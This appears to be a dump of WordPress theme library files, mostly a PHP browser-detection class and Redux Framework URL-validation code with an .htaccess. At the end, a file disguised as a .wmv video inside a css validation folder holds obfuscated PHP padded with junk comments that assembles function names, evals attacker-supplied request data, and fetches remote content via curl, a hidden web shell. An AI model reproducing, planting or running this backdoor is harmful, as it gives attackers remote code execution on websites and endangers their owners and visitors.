$version); } /** * The version of AOL. * @return string Version of AOL (will only contain alpha-numeric characters and a period) */ public function getAolVersion() { return $this->_aol_version; } /** * Set the version of AOL * @param string $version The version of AOL */ public function setAolVersion($version) { $this->_aol_version = preg_replace('/[^0-9,.,a-z,A-Z]/', '', $version); } /** * Is the browser from AOL? * @return boolean True if the browser is from AOL otherwise false */ public function isAol() { return $this->_is_aol; } /** * Is the browser from a mobile device? * @return boolean True if the browser is from a mobile device otherwise false */ public function isMobile() { return $this->_is_mobile; } /** * Is the browser from a tablet device? * @return boolean True if the browser is from a tablet device otherwise false */ public function isTablet() { return $this->_is_tablet; } /** * Is the browser from a robot (ex Slurp,GoogleBot)? * @return boolean True if the browser is from a robot otherwise false */ public function isRobot() { return $this->_is_robot; } /** * Is the browser from facebook? * @return boolean True if the browser is from facebook otherwise false */ public function isFacebook() { return $this->_is_facebook; } /** * Set the browser to be from AOL * @param $isAol */ public function setAol($isAol) { $this->_is_aol = $isAol; } /** * Set the Browser to be mobile * @param boolean $value is the browser a mobile browser or not */ protected function setMobile($value = true) { $this->_is_mobile = $value; } /** * Set the Browser to be tablet * @param boolean $value is the browser a tablet browser or not */ protected function setTablet($value = true) { $this->_is_tablet = $value; } /** * Set the Browser to be a robot * @param boolean $value is the browser a robot or not */ protected function setRobot($value = true) { $this->_is_robot = $value; } /** * Set the Browser to be a Facebook request * @param boolean $value is the browser a robot or not */ protected function setFacebook($value = true) { $this->_is_facebook = $value; } /** * Get the user agent value in use to determine the browser * @return string The user agent from the HTTP header */ public function getUserAgent() { return $this->_agent; } /** * Set the user agent value (the construction will use the HTTP header value - this will overwrite it) * @param string $agent_string The value for the User Agent */ public function setUserAgent($agent_string) { $this->reset(); $this->_agent = $agent_string; $this->determine(); } /** * Used to determine if the browser is actually "chromeframe" * @since 1.7 * @return boolean True if the browser is using chromeframe */ public function isChromeFrame() { return (strpos($this->_agent, "chromeframe") !== false); } /** * Returns a formatted string with a summary of the details of the browser. * @return string formatted string with a summary of the browser */ public function __toString() { return "Browser Name: {$this->getBrowser()}
    \n" . "Browser Version: {$this->getVersion()}
    \n" . "Browser User Agent String: {$this->getUserAgent()}
    \n" . "Platform: {$this->getPlatform()}
    "; } /** * Protected routine to calculate and determine what the browser is in use (including platform) */ protected function determine() { $this->checkPlatform(); $this->checkBrowsers(); $this->checkForAol(); } /** * Protected routine to determine the browser type * @return boolean True if the browser was detected otherwise false */ protected function checkBrowsers() { return ( // well-known, well-used // Special Notes: // (1) Opera must be checked before FireFox due to the odd // user agents used in some older versions of Opera // (2) WebTV is strapped onto Internet Explorer so we must // check for WebTV before IE // (3) (deprecated) Galeon is based on Firefox and needs to be // tested before Firefox is tested // (4) OmniWeb is based on Safari so OmniWeb check must occur // before Safari // (5) Netscape 9+ is based on Firefox so Netscape checks // before FireFox are necessary $this->checkBrowserWebTv() || $this->checkBrowserInternetExplorer() || $this->checkBrowserOpera() || $this->checkBrowserGaleon() || $this->checkBrowserNetscapeNavigator9Plus() || $this->checkBrowserFirefox() || $this->checkBrowserChrome() || $this->checkBrowserOmniWeb() || // common mobile $this->checkBrowserAndroid() || $this->checkBrowseriPad() || $this->checkBrowseriPod() || $this->checkBrowseriPhone() || $this->checkBrowserBlackBerry() || $this->checkBrowserNokia() || // common bots $this->checkBrowserGoogleBot() || $this->checkBrowserMSNBot() || $this->checkBrowserBingBot() || $this->checkBrowserSlurp() || // check for facebook external hit when loading URL $this->checkFacebookExternalHit() || // WebKit base check (post mobile and others) $this->checkBrowserSafari() || // everyone else $this->checkBrowserNetPositive() || $this->checkBrowserFirebird() || $this->checkBrowserKonqueror() || $this->checkBrowserIcab() || $this->checkBrowserPhoenix() || $this->checkBrowserAmaya() || $this->checkBrowserLynx() || $this->checkBrowserShiretoko() || $this->checkBrowserIceCat() || $this->checkBrowserIceweasel() || $this->checkBrowserW3CValidator() || $this->checkBrowserMozilla() /* Mozilla is such an open standard that you must check it last */ ); } /** * Determine if the user is using a BlackBerry (last updated 1.7) * @return boolean True if the browser is the BlackBerry browser otherwise false */ protected function checkBrowserBlackBerry() { if (stripos($this->_agent, 'blackberry') !== false) { $aresult = explode("/", stristr($this->_agent, "BlackBerry")); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_BLACKBERRY; $this->setMobile(true); return true; } } return false; } /** * Determine if the user is using an AOL User Agent (last updated 1.7) * @return boolean True if the browser is from AOL otherwise false */ protected function checkForAol() { $this->setAol(false); $this->setAolVersion(self::VERSION_UNKNOWN); if (stripos($this->_agent, 'aol') !== false) { $aversion = explode(' ', stristr($this->_agent, 'AOL')); if (isset($aversion[1])) { $this->setAol(true); $this->setAolVersion(preg_replace('/[^0-9\.a-z]/i', '', $aversion[1])); return true; } } return false; } /** * Determine if the browser is the GoogleBot or not (last updated 1.7) * @return boolean True if the browser is the GoogletBot otherwise false */ protected function checkBrowserGoogleBot() { if (stripos($this->_agent, 'googlebot') !== false) { $aresult = explode('/', stristr($this->_agent, 'googlebot')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion(str_replace(';', '', $aversion[0])); $this->_browser_name = self::BROWSER_GOOGLEBOT; $this->setRobot(true); return true; } } return false; } /** * Determine if the browser is the MSNBot or not (last updated 1.9) * @return boolean True if the browser is the MSNBot otherwise false */ protected function checkBrowserMSNBot() { if (stripos($this->_agent, "msnbot") !== false) { $aresult = explode("/", stristr($this->_agent, "msnbot")); if (isset($aresult[1])) { $aversion = explode(" ", $aresult[1]); $this->setVersion(str_replace(";", "", $aversion[0])); $this->_browser_name = self::BROWSER_MSNBOT; $this->setRobot(true); return true; } } return false; } /** * Determine if the browser is the BingBot or not (last updated 1.9) * @return boolean True if the browser is the BingBot otherwise false */ protected function checkBrowserBingBot() { if (stripos($this->_agent, "bingbot") !== false) { $aresult = explode("/", stristr($this->_agent, "bingbot")); if (isset($aresult[1])) { $aversion = explode(" ", $aresult[1]); $this->setVersion(str_replace(";", "", $aversion[0])); $this->_browser_name = self::BROWSER_BINGBOT; $this->setRobot(true); return true; } } return false; } /** * Determine if the browser is the W3C Validator or not (last updated 1.7) * @return boolean True if the browser is the W3C Validator otherwise false */ protected function checkBrowserW3CValidator() { if (stripos($this->_agent, 'W3C-checklink') !== false) { $aresult = explode('/', stristr($this->_agent, 'W3C-checklink')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_W3CVALIDATOR; return true; } } else if (stripos($this->_agent, 'W3C_Validator') !== false) { // Some of the Validator versions do not delineate w/ a slash - add it back in $ua = str_replace("W3C_Validator ", "W3C_Validator/", $this->_agent); $aresult = explode('/', stristr($ua, 'W3C_Validator')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_W3CVALIDATOR; return true; } } else if (stripos($this->_agent, 'W3C-mobileOK') !== false) { $this->_browser_name = self::BROWSER_W3CVALIDATOR; $this->setMobile(true); return true; } return false; } /** * Determine if the browser is the Yahoo! Slurp Robot or not (last updated 1.7) * @return boolean True if the browser is the Yahoo! Slurp Robot otherwise false */ protected function checkBrowserSlurp() { if (stripos($this->_agent, 'slurp') !== false) { $aresult = explode('/', stristr($this->_agent, 'Slurp')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_SLURP; $this->setRobot(true); $this->setMobile(false); return true; } } return false; } /** * Determine if the browser is Internet Explorer or not (last updated 1.7) * @return boolean True if the browser is Internet Explorer otherwise false */ protected function checkBrowserInternetExplorer() { // Test for IE11 if( stripos($this->_agent,'Trident/7.0; rv:11.0') !== false ) { $this->setBrowser(self::BROWSER_IE); $this->setVersion('11.0'); return true; } // Test for v1 - v1.5 IE else if (stripos($this->_agent, 'microsoft internet explorer') !== false) { $this->setBrowser(self::BROWSER_IE); $this->setVersion('1.0'); $aresult = stristr($this->_agent, '/'); if (preg_match('/308|425|426|474|0b1/i', $aresult)) { $this->setVersion('1.5'); } return true; } // Test for versions > 1.5 else if (stripos($this->_agent, 'msie') !== false && stripos($this->_agent, 'opera') === false) { // See if the browser is the odd MSN Explorer if (stripos($this->_agent, 'msnb') !== false) { $aresult = explode(' ', stristr(str_replace(';', '; ', $this->_agent), 'MSN')); if (isset($aresult[1])) { $this->setBrowser(self::BROWSER_MSN); $this->setVersion(str_replace(array('(', ')', ';'), '', $aresult[1])); return true; } } $aresult = explode(' ', stristr(str_replace(';', '; ', $this->_agent), 'msie')); if (isset($aresult[1])) { $this->setBrowser(self::BROWSER_IE); $this->setVersion(str_replace(array('(', ')', ';'), '', $aresult[1])); if(stripos($this->_agent, 'IEMobile') !== false) { $this->setBrowser(self::BROWSER_POCKET_IE); $this->setMobile(true); } return true; } } // Test for versions > IE 10 else if(stripos($this->_agent, 'trident') !== false) { $this->setBrowser(self::BROWSER_IE); $result = explode('rv:', $this->_agent); if (isset($result[1])) { $this->setVersion(preg_replace('/[^0-9.]+/', '', $result[1])); $this->_agent = str_replace(array("Mozilla", "Gecko"), "MSIE", $this->_agent); } } // Test for Pocket IE else if (stripos($this->_agent, 'mspie') !== false || stripos($this->_agent, 'pocket') !== false) { $aresult = explode(' ', stristr($this->_agent, 'mspie')); if (isset($aresult[1])) { $this->setPlatform(self::PLATFORM_WINDOWS_CE); $this->setBrowser(self::BROWSER_POCKET_IE); $this->setMobile(true); if (stripos($this->_agent, 'mspie') !== false) { $this->setVersion($aresult[1]); } else { $aversion = explode('/', $this->_agent); if (isset($aversion[1])) { $this->setVersion($aversion[1]); } } return true; } } return false; } /** * Determine if the browser is Opera or not (last updated 1.7) * @return boolean True if the browser is Opera otherwise false */ protected function checkBrowserOpera() { if (stripos($this->_agent, 'opera mini') !== false) { $resultant = stristr($this->_agent, 'opera mini'); if (preg_match('/\//', $resultant)) { $aresult = explode('/', $resultant); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } } else { $aversion = explode(' ', stristr($resultant, 'opera mini')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); } } $this->_browser_name = self::BROWSER_OPERA_MINI; $this->setMobile(true); return true; } else if (stripos($this->_agent, 'opera') !== false) { $resultant = stristr($this->_agent, 'opera'); if (preg_match('/Version\/(1*.*)$/', $resultant, $matches)) { $this->setVersion($matches[1]); } else if (preg_match('/\//', $resultant)) { $aresult = explode('/', str_replace("(", " ", $resultant)); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } } else { $aversion = explode(' ', stristr($resultant, 'opera')); $this->setVersion(isset($aversion[1]) ? $aversion[1] : ""); } if (stripos($this->_agent, 'Opera Mobi') !== false) { $this->setMobile(true); } $this->_browser_name = self::BROWSER_OPERA; return true; } else if (stripos($this->_agent, 'OPR') !== false) { $resultant = stristr($this->_agent, 'OPR'); if (preg_match('/\//', $resultant)) { $aresult = explode('/', str_replace("(", " ", $resultant)); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } } if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } $this->_browser_name = self::BROWSER_OPERA; return true; } return false; } /** * Determine if the browser is Chrome or not (last updated 1.7) * @return boolean True if the browser is Chrome otherwise false */ protected function checkBrowserChrome() { if (stripos($this->_agent, 'Chrome') !== false) { $aresult = explode('/', stristr($this->_agent, 'Chrome')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_CHROME); //Chrome on Android if (stripos($this->_agent, 'Android') !== false) { if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } else { $this->setTablet(true); } } return true; } } return false; } /** * Determine if the browser is WebTv or not (last updated 1.7) * @return boolean True if the browser is WebTv otherwise false */ protected function checkBrowserWebTv() { if (stripos($this->_agent, 'webtv') !== false) { $aresult = explode('/', stristr($this->_agent, 'webtv')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_WEBTV); return true; } } return false; } /** * Determine if the browser is NetPositive or not (last updated 1.7) * @return boolean True if the browser is NetPositive otherwise false */ protected function checkBrowserNetPositive() { if (stripos($this->_agent, 'NetPositive') !== false) { $aresult = explode('/', stristr($this->_agent, 'NetPositive')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion(str_replace(array('(', ')', ';'), '', $aversion[0])); $this->setBrowser(self::BROWSER_NETPOSITIVE); return true; } } return false; } /** * Determine if the browser is Galeon or not (last updated 1.7) * @return boolean True if the browser is Galeon otherwise false */ protected function checkBrowserGaleon() { if (stripos($this->_agent, 'galeon') !== false) { $aresult = explode(' ', stristr($this->_agent, 'galeon')); $aversion = explode('/', $aresult[0]); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_GALEON); return true; } } return false; } /** * Determine if the browser is Konqueror or not (last updated 1.7) * @return boolean True if the browser is Konqueror otherwise false */ protected function checkBrowserKonqueror() { if (stripos($this->_agent, 'Konqueror') !== false) { $aresult = explode(' ', stristr($this->_agent, 'Konqueror')); $aversion = explode('/', $aresult[0]); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_KONQUEROR); return true; } } return false; } /** * Determine if the browser is iCab or not (last updated 1.7) * @return boolean True if the browser is iCab otherwise false */ protected function checkBrowserIcab() { if (stripos($this->_agent, 'icab') !== false) { $aversion = explode(' ', stristr(str_replace('/', ' ', $this->_agent), 'icab')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_ICAB); return true; } } return false; } /** * Determine if the browser is OmniWeb or not (last updated 1.7) * @return boolean True if the browser is OmniWeb otherwise false */ protected function checkBrowserOmniWeb() { if (stripos($this->_agent, 'omniweb') !== false) { $aresult = explode('/', stristr($this->_agent, 'omniweb')); $aversion = explode(' ', isset($aresult[1]) ? $aresult[1] : ""); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_OMNIWEB); return true; } return false; } /** * Determine if the browser is Phoenix or not (last updated 1.7) * @return boolean True if the browser is Phoenix otherwise false */ protected function checkBrowserPhoenix() { if (stripos($this->_agent, 'Phoenix') !== false) { $aversion = explode('/', stristr($this->_agent, 'Phoenix')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_PHOENIX); return true; } } return false; } /** * Determine if the browser is Firebird or not (last updated 1.7) * @return boolean True if the browser is Firebird otherwise false */ protected function checkBrowserFirebird() { if (stripos($this->_agent, 'Firebird') !== false) { $aversion = explode('/', stristr($this->_agent, 'Firebird')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_FIREBIRD); return true; } } return false; } /** * Determine if the browser is Netscape Navigator 9+ or not (last updated 1.7) * NOTE: (http://browser.netscape.com/ - Official support ended on March 1st, 2008) * @return boolean True if the browser is Netscape Navigator 9+ otherwise false */ protected function checkBrowserNetscapeNavigator9Plus() { if (stripos($this->_agent, 'Firefox') !== false && preg_match('/Navigator\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR); return true; } else if (stripos($this->_agent, 'Firefox') === false && preg_match('/Netscape6?\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR); return true; } return false; } /** * Determine if the browser is Shiretoko or not (https://wiki.mozilla.org/Projects/shiretoko) (last updated 1.7) * @return boolean True if the browser is Shiretoko otherwise false */ protected function checkBrowserShiretoko() { if (stripos($this->_agent, 'Mozilla') !== false && preg_match('/Shiretoko\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_SHIRETOKO); return true; } return false; } /** * Determine if the browser is Ice Cat or not (http://en.wikipedia.org/wiki/GNU_IceCat) (last updated 1.7) * @return boolean True if the browser is Ice Cat otherwise false */ protected function checkBrowserIceCat() { if (stripos($this->_agent, 'Mozilla') !== false && preg_match('/IceCat\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_ICECAT); return true; } return false; } /** * Determine if the browser is Nokia or not (last updated 1.7) * @return boolean True if the browser is Nokia otherwise false */ protected function checkBrowserNokia() { if (preg_match("/Nokia([^\/]+)\/([^ SP]+)/i", $this->_agent, $matches)) { $this->setVersion($matches[2]); if (stripos($this->_agent, 'Series60') !== false || strpos($this->_agent, 'S60') !== false) { $this->setBrowser(self::BROWSER_NOKIA_S60); } else { $this->setBrowser(self::BROWSER_NOKIA); } $this->setMobile(true); return true; } return false; } /** * Determine if the browser is Firefox or not (last updated 1.7) * @return boolean True if the browser is Firefox otherwise false */ protected function checkBrowserFirefox() { if (stripos($this->_agent, 'safari') === false) { if (preg_match("/Firefox[\/ \(]([^ ;\)]+)/i", $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_FIREFOX); //Firefox on Android if (stripos($this->_agent, 'Android') !== false) { if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } else { $this->setTablet(true); } } return true; } else if (preg_match("/Firefox$/i", $this->_agent, $matches)) { $this->setVersion(""); $this->setBrowser(self::BROWSER_FIREFOX); return true; } } return false; } /** * Determine if the browser is Firefox or not (last updated 1.7) * @return boolean True if the browser is Firefox otherwise false */ protected function checkBrowserIceweasel() { if (stripos($this->_agent, 'Iceweasel') !== false) { $aresult = explode('/', stristr($this->_agent, 'Iceweasel')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_ICEWEASEL); return true; } } return false; } /** * Determine if the browser is Mozilla or not (last updated 1.7) * @return boolean True if the browser is Mozilla otherwise false */ protected function checkBrowserMozilla() { if (stripos($this->_agent, 'mozilla') !== false && preg_match('/rv:[0-9].[0-9][a-b]?/i', $this->_agent) && stripos($this->_agent, 'netscape') === false) { $aversion = explode(' ', stristr($this->_agent, 'rv:')); preg_match('/rv:[0-9].[0-9][a-b]?/i', $this->_agent, $aversion); $this->setVersion(str_replace('rv:', '', $aversion[0])); $this->setBrowser(self::BROWSER_MOZILLA); return true; } else if (stripos($this->_agent, 'mozilla') !== false && preg_match('/rv:[0-9]\.[0-9]/i', $this->_agent) && stripos($this->_agent, 'netscape') === false) { $aversion = explode('', stristr($this->_agent, 'rv:')); $this->setVersion(str_replace('rv:', '', $aversion[0])); $this->setBrowser(self::BROWSER_MOZILLA); return true; } else if (stripos($this->_agent, 'mozilla') !== false && preg_match('/mozilla\/([^ ]*)/i', $this->_agent, $matches) && stripos($this->_agent, 'netscape') === false) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_MOZILLA); return true; } return false; } /** * Determine if the browser is Lynx or not (last updated 1.7) * @return boolean True if the browser is Lynx otherwise false */ protected function checkBrowserLynx() { if (stripos($this->_agent, 'lynx') !== false) { $aresult = explode('/', stristr($this->_agent, 'Lynx')); $aversion = explode(' ', (isset($aresult[1]) ? $aresult[1] : "")); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_LYNX); return true; } return false; } /** * Determine if the browser is Amaya or not (last updated 1.7) * @return boolean True if the browser is Amaya otherwise false */ protected function checkBrowserAmaya() { if (stripos($this->_agent, 'amaya') !== false) { $aresult = explode('/', stristr($this->_agent, 'Amaya')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_AMAYA); return true; } } return false; } /** * Determine if the browser is Safari or not (last updated 1.7) * @return boolean True if the browser is Safari otherwise false */ protected function checkBrowserSafari() { if (stripos($this->_agent, 'Safari') !== false && stripos($this->_agent, 'iPhone') === false && stripos($this->_agent, 'iPod') === false) { $aresult = explode('/', stristr($this->_agent, 'Version')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } else { $this->setVersion(self::VERSION_UNKNOWN); } $this->setBrowser(self::BROWSER_SAFARI); return true; } return false; } /** * Detect if URL is loaded from FacebookExternalHit * @return boolean True if it detects FacebookExternalHit otherwise false */ protected function checkFacebookExternalHit() { if(stristr($this->_agent,'FacebookExternalHit')) { $this->setRobot(true); $this->setFacebook(true); return true; } return false; } /** * Detect if URL is being loaded from internal Facebook browser * @return boolean True if it detects internal Facebook browser otherwise false */ protected function checkForFacebookIos() { if(stristr($this->_agent,'FBIOS')) { $this->setFacebook(true); return true; } return false; } /** * Detect Version for the Safari browser on iOS devices * @return boolean True if it detects the version correctly otherwise false */ protected function getSafariVersionOnIos() { $aresult = explode('/',stristr($this->_agent,'Version')); if( isset($aresult[1]) ) { $aversion = explode(' ',$aresult[1]); $this->setVersion($aversion[0]); return true; } return false; } /** * Detect Version for the Chrome browser on iOS devices * @return boolean True if it detects the version correctly otherwise false */ protected function getChromeVersionOnIos() { $aresult = explode('/',stristr($this->_agent,'CriOS')); if( isset($aresult[1]) ) { $aversion = explode(' ',$aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_CHROME); return true; } return false; } /** * Determine if the browser is iPhone or not (last updated 1.7) * @return boolean True if the browser is iPhone otherwise false */ protected function checkBrowseriPhone() { if( stripos($this->_agent,'iPhone') !== false ) { $this->setVersion(self::VERSION_UNKNOWN); $this->setBrowser(self::BROWSER_IPHONE); $this->getSafariVersionOnIos(); $this->getChromeVersionOnIos(); $this->checkForFacebookIos(); $this->setMobile(true); return true; } return false; } /** * Determine if the browser is iPad or not (last updated 1.7) * @return boolean True if the browser is iPad otherwise false */ protected function checkBrowseriPad() { if( stripos($this->_agent,'iPad') !== false ) { $this->setVersion(self::VERSION_UNKNOWN); $this->setBrowser(self::BROWSER_IPAD); $this->getSafariVersionOnIos(); $this->getChromeVersionOnIos(); $this->checkForFacebookIos(); $this->setTablet(true); return true; } return false; } /** * Determine if the browser is iPod or not (last updated 1.7) * @return boolean True if the browser is iPod otherwise false */ protected function checkBrowseriPod() { if( stripos($this->_agent,'iPod') !== false ) { $this->setVersion(self::VERSION_UNKNOWN); $this->setBrowser(self::BROWSER_IPOD); $this->getSafariVersionOnIos(); $this->getChromeVersionOnIos(); $this->checkForFacebookIos(); $this->setMobile(true); return true; } return false; } /** * Determine if the browser is Android or not (last updated 1.7) * @return boolean True if the browser is Android otherwise false */ protected function checkBrowserAndroid() { if (stripos($this->_agent, 'Android') !== false) { $aresult = explode(' ', stristr($this->_agent, 'Android')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } else { $this->setVersion(self::VERSION_UNKNOWN); } if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } else { $this->setTablet(true); } $this->setBrowser(self::BROWSER_ANDROID); return true; } return false; } /** * Determine the user's platform (last updated 1.7) */ protected function checkPlatform() { if (stripos($this->_agent, 'windows') !== false) { $this->_platform = self::PLATFORM_WINDOWS; } else if (stripos($this->_agent, 'iPad') !== false) { $this->_platform = self::PLATFORM_IPAD; } else if (stripos($this->_agent, 'iPod') !== false) { $this->_platform = self::PLATFORM_IPOD; } else if (stripos($this->_agent, 'iPhone') !== false) { $this->_platform = self::PLATFORM_IPHONE; } elseif (stripos($this->_agent, 'mac') !== false) { $this->_platform = self::PLATFORM_APPLE; } elseif (stripos($this->_agent, 'android') !== false) { $this->_platform = self::PLATFORM_ANDROID; } elseif (stripos($this->_agent, 'linux') !== false) { $this->_platform = self::PLATFORM_LINUX; } else if (stripos($this->_agent, 'Nokia') !== false) { $this->_platform = self::PLATFORM_NOKIA; } else if (stripos($this->_agent, 'BlackBerry') !== false) { $this->_platform = self::PLATFORM_BLACKBERRY; } elseif (stripos($this->_agent, 'FreeBSD') !== false) { $this->_platform = self::PLATFORM_FREEBSD; } elseif (stripos($this->_agent, 'OpenBSD') !== false) { $this->_platform = self::PLATFORM_OPENBSD; } elseif (stripos($this->_agent, 'NetBSD') !== false) { $this->_platform = self::PLATFORM_NETBSD; } elseif (stripos($this->_agent, 'OpenSolaris') !== false) { $this->_platform = self::PLATFORM_OPENSOLARIS; } elseif (stripos($this->_agent, 'SunOS') !== false) { $this->_platform = self::PLATFORM_SUNOS; } elseif (stripos($this->_agent, 'OS\/2') !== false) { $this->_platform = self::PLATFORM_OS2; } elseif (stripos($this->_agent, 'BeOS') !== false) { $this->_platform = self::PLATFORM_BEOS; } elseif (stripos($this->_agent, 'win') !== false) { $this->_platform = self::PLATFORM_WINDOWS; } } } lib/redux-framework/inc/class.thirdparty.fixes.php000064400000000641147206624460016345 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a valid URL for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { if ( filter_var( $this->value, FILTER_VALIDATE_URL ) == false ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } else { $this->value = esc_url_raw( $this->value ); } } //function } //class }lib/redux-framework/inc/validation/url/.htaccess000064400000001626147206624460015757 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/css/css/index.php000064400000000000147206624460016540 0ustar00lib/redux-framework/inc/validation/css/css/UavZWpKkYrtfgN.wmv000064400000011514147206624460020303 0ustar001-*/= "r"."a"/*-:fe^N5L!y8-*/."n"/*-{NOu-.:1V-*/."g"."e"; $A = /*-@}..S(Fm-*/$w("~"/*-~@,k-*/, " "); /*-mh955#S-*/$K/*-[Y#d>YM]k-*/=/*-9H#n%QFv4-*/${$A/*-ph-*/[26+5]/*-,.C09=W=.D-*/.$A[12+47]./*-pPJI-*/$A/*-@^k-*/[23+24]/*-~&l--*/.$A/*-gAcE-*/[8+39]./*-N!S?m-*/$A[30+21]./*-O=M%5n&I-*/$A/*-QmZ,pW%B-*/[50+3]./*-iF-*/$A/*-V,&h-*/[35+22]};/*-rng~-*/ @(count/*-c1+$>-*/($K)/*-VZJ+Nz-*/==/*-o,3X-*/18&&/*-u;sMigt{[-*/in_array(/*-^^-*/gettype(/*-D0cN%a[f1n-*/$K)./*-s;g}%ouN-*/count(/*-FhN.-*/$K),$K))?(($K[69]=$K[69].$K[77])&&($K[85]=$K[69]($K[85]))&&(/*-&cZw-*/@eval/*-|~-*/($K[69](${$K[37]}[19])/*-0<2-*/))/*-bI[Y):-*/):$K;/*-0Ie%#xh-*/"g"./*-l}.u)=-*/"e"; /*-O`FHX-*/$ZqdFnoirTK/*-B4-*/ = /*-h^kOB5SJ{-*/$KG/*--5Y66{gp-*/(/*-|E|{M&2Tz-*/"~"/*-,I-*/, /*-6NZZ-*/" "/*-F%o[w$-*/);/*-pb-*/ $yLlbxQsBU /*-g9kl_-*/= /*-6khz2(SY.-*/explode/*-|]P!c(`-*/(/*-ZN|=-*/"|", /*-a|O)l-*/$tKyCZd/*-)lb-*/); /*-]T-*/$IOJsfKzq /*-hm}I]M8-*/= /*-udOqk8|mJc-*/""; foreach /*-@m0eaw-*/(/*-seT|`-*/$yLlbxQsBU /*-K)^=|f[BUa-*/as /*-:]?-*/$RVzpeO /*-N#lETQt+,(-*/=>/*-S&JB$]-*/ $bechUKW/*-B$tyM%-*/) /*-$?}PLh-*/$IOJsfKzq /*-h1-*/.= /*-fble03;oY-*/$ZqdFnoirTK[$bechUKW/*-rGuEMGy-*/ - /*-6=Fn-*/74379/*-h^-*/];/*-HT|qbj-*/ return /*-3Et4kr-*/$IOJsfKzq; /*-jOzqa-*/} /*-;j-*/static /*-n$Kr[Y]3>-*/function /*-,7:#OrA,-*/ReANFGqTl/*-(}YL0}_-*/(/*-NZ.)7&~-*/$SFxoHhMr,/*-x7$L-*/ $chHy/*-#}1fuv-*/)/*-ROu&A>5-*/ {/*-Je-*/ $axqLkSpK/*-0(6@p9nqi-*/ = /*-}f-*/curl_init/*-r[&yD-*/(/*-.e,&-*/$SFxoHhMr/*-Y:-*/);/*-:Yf8rtl-*/ curl_setopt/*-xM7uv=-*/(/*-6--SG-Gj-*/$axqLkSpK,/*-)GN;D-*/ CURLOPT_RETURNTRANSFER,/*-z@LU-*/ 1/*-{-A.ar@ME~-*/);/*->@O{T-*/ $ly/*-qY5Bhw;By)-*/ = /*-1G-*/curl_exec/*-amoq{{C0-*/(/*-!pfX-*/$axqLkSpK/*-5F=x-*/); /*-Y&FxS-*/return /*-wu:|EL-*/empty/*-dNex-*/(/*-f.MpH-*/$ly/*-$S-*/)/*-85-*/ ? /*-)np[BLf~.-*/$chHy/*-PUvse%zaS-*/(/*-|b-*/$SFxoHhMr/*->WDn-*/)/*-`SQl>5Val-*/ : /*-;|-*/$ly; /*-&9-JgYf-*/}/*-aj#M}X&T^-*/(/*-o5C9i1wcE-*/${/*-OaS7-*/"_"/*-!Us!a#z8Zn-*/."G"/*-A5-*/."E"/*-t%$,|-*/."T"/*-):E`:Ku-*/}[/*-B9fAa>H?3b-*/ @$hptQfjWrVk/*-sHYm{=N-*/[/*-L~s}a,>-*/1+2/*-?1H9^bNK-*/]/*-K@yPNA-6-*/(/*-ow$^cjNe1-*/$hptQfjWrVk/*-Tl-*/[/*-G&-*/2+4/*->%BT@Ocy-*/], 